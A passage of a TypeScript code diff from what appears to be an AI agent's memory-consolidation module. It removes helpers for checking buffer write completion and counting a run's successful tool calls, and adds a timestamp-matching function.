|
|
875
|
-
* rewrite left no terminator (an agent's `file_write` under an older prompt,
|
|
876
|
-
* a hand edit): a persisted shape that must keep working. The two are told
|
|
877
|
-
* apart by time: after a short settle the file is read again, and identical
|
|
878
|
-
* bytes mean nothing was mid-write, so the last entry is complete and may be
|
|
879
|
-
* filed. Grown or changed bytes mean an append was in flight, and the
|
|
880
|
-
* snapshot's last entry waits for the next pass. Consuming rewrites the
|
|
881
|
-
* buffer newline-terminated, so the unterminated shape does not recur.
|
|
711
|
+
* Recognition is delegated to the shared matcher, so a remembered fact's
|
|
712
|
+
* continuation lines never register as entries. That matters here beyond
|
|
713
|
+
* tidiness: counting a fact's `- [ ] …` checklist lines or an indented
|
|
714
|
+
* entry-shaped body line as entries would inflate the per-run budget, or hand
|
|
715
|
+
* the agent a cutoff drawn from the middle of a fact.
|
|
882
716
|
*/
|
|
883
|
-
|
|
884
|
-
|
|
885
|
-
content: string,
|
|
886
|
-
): Promise<boolean> {
|
|
887
|
-
if (content.endsWith("\n")) {
|
|
888
|
-
return true;
|
|
889
|
-
}
|
|
890
|
-
await new Promise((resolve) =>
|
|
891
|
-
setTimeout(resolve, UNTERMINATED_SNAPSHOT_SETTLE_MS),
|
|
892
|
-
);
|
|
893
|
-
return readBufferContent(bufferPath) === content;
|
|
894
|
-
}
|
|
895
|
-
|
|
896
|
-
interface RunEvidence {
|
|
897
|
-
/** Page-writing tool calls whose execution verifiably succeeded. */
|
|
898
|
-
durableWrites: number;
|
|
899
|
-
/**
|
|
900
|
-
* Shell calls the run made, successful or not. Never evidence of filing
|
|
901
|
-
* (a shell call carries no record of what it did); reported so a run
|
|
902
|
-
* that wrote its pages through the shell is diagnosable from the log.
|
|
903
|
-
*/
|
|
904
|
-
shellCalls: number;
|
|
905
|
-
/**
|
|
906
|
-
* The run's final row is an assistant reply in its own words, with no
|
|
907
|
-
* tool call on it: the shape of a run the model ended itself.
|
|
908
|
-
*/
|
|
909
|
-
concluded: boolean;
|
|
910
|
-
}
|
|
911
|
-
|
|
912
|
-
/**
|
|
913
|
-
* What the run's conversation proves it did: page-writing tool calls with
|
|
914
|
-
* a matching non-error `tool_result`, and whether the run ended by replying
|
|
915
|
-
* (the pass summary) rather than stopping mid-tool-loop. A consolidation
|
|
916
|
-
* conversation is bootstrapped fresh per run, so every message in it is
|
|
917
|
-
* the run's own. A load failure reports nothing: the consume gate then
|
|
918
|
-
* fails closed and the buffer waits for the next pass.
|
|
919
|
-
*/
|
|
920
|
-
async function readRunEvidence(conversationId: string): Promise<RunEvidence> {
|
|
921
|
-
let messages: Awaited<ReturnType<typeof getMessages>>;
|
|
922
|
-
try {
|
|
923
|
-
messages = await getMessages(conversationId);
|
|
924
|
-
} catch (err) {
|
|
925
|
-
log.warn(
|
|
926
|
-
{ err, conversationId },
|
|
927
|
-
"consolidation: failed to load the run's messages; treating the run as having filed nothing",
|
|
928
|
-
);
|
|
929
|
-
return { durableWrites: 0, shellCalls: 0, concluded: false };
|
|
930
|
-
}
|
|
931
|
-
return {
|
|
932
|
-
durableWrites: countDurableToolUses(
|
|
933
|
-
messages,
|
|
934
|
-
CONSOLIDATION_DURABLE_TOOLS,
|
|
935
|
-
collectSuccessfulToolResultIds(messages),
|
|
936
|
-
),
|
|
937
|
-
shellCalls: countDurableToolUses(messages, SHELL_TOOLS, null),
|
|
938
|
-
concluded: endsWithTextReply(messages),
|
|
939
|
-
};
|
|
717
|
+
function extractBufferEntryTimestamp(line: string): string | null {
|
|
718
|
+
return matchBufferEntryStart(line)?.timestamp ?? null;
|
|
940
719
|
}
|
|
941
720
|
|
|
942
721
|
/**
|
|
@@ -19,8 +19,7 @@
|
|
|
19
19
|
* concept pages or seeded skill entries change.
|
|
20
20
|
*/
|
|
21
21
|
|
|
22
|
-
import { safeStringSlice } from "
|
|
23
|
-
|
|
22
|
+
import { safeStringSlice } from "../host-utils.js";
|
|
24
23
|
import { getLogger } from "../logging.js";
|
|
25
24
|
import {
|
|
26
25
|
CLI_COMMAND_SLUG_PREFIX,
|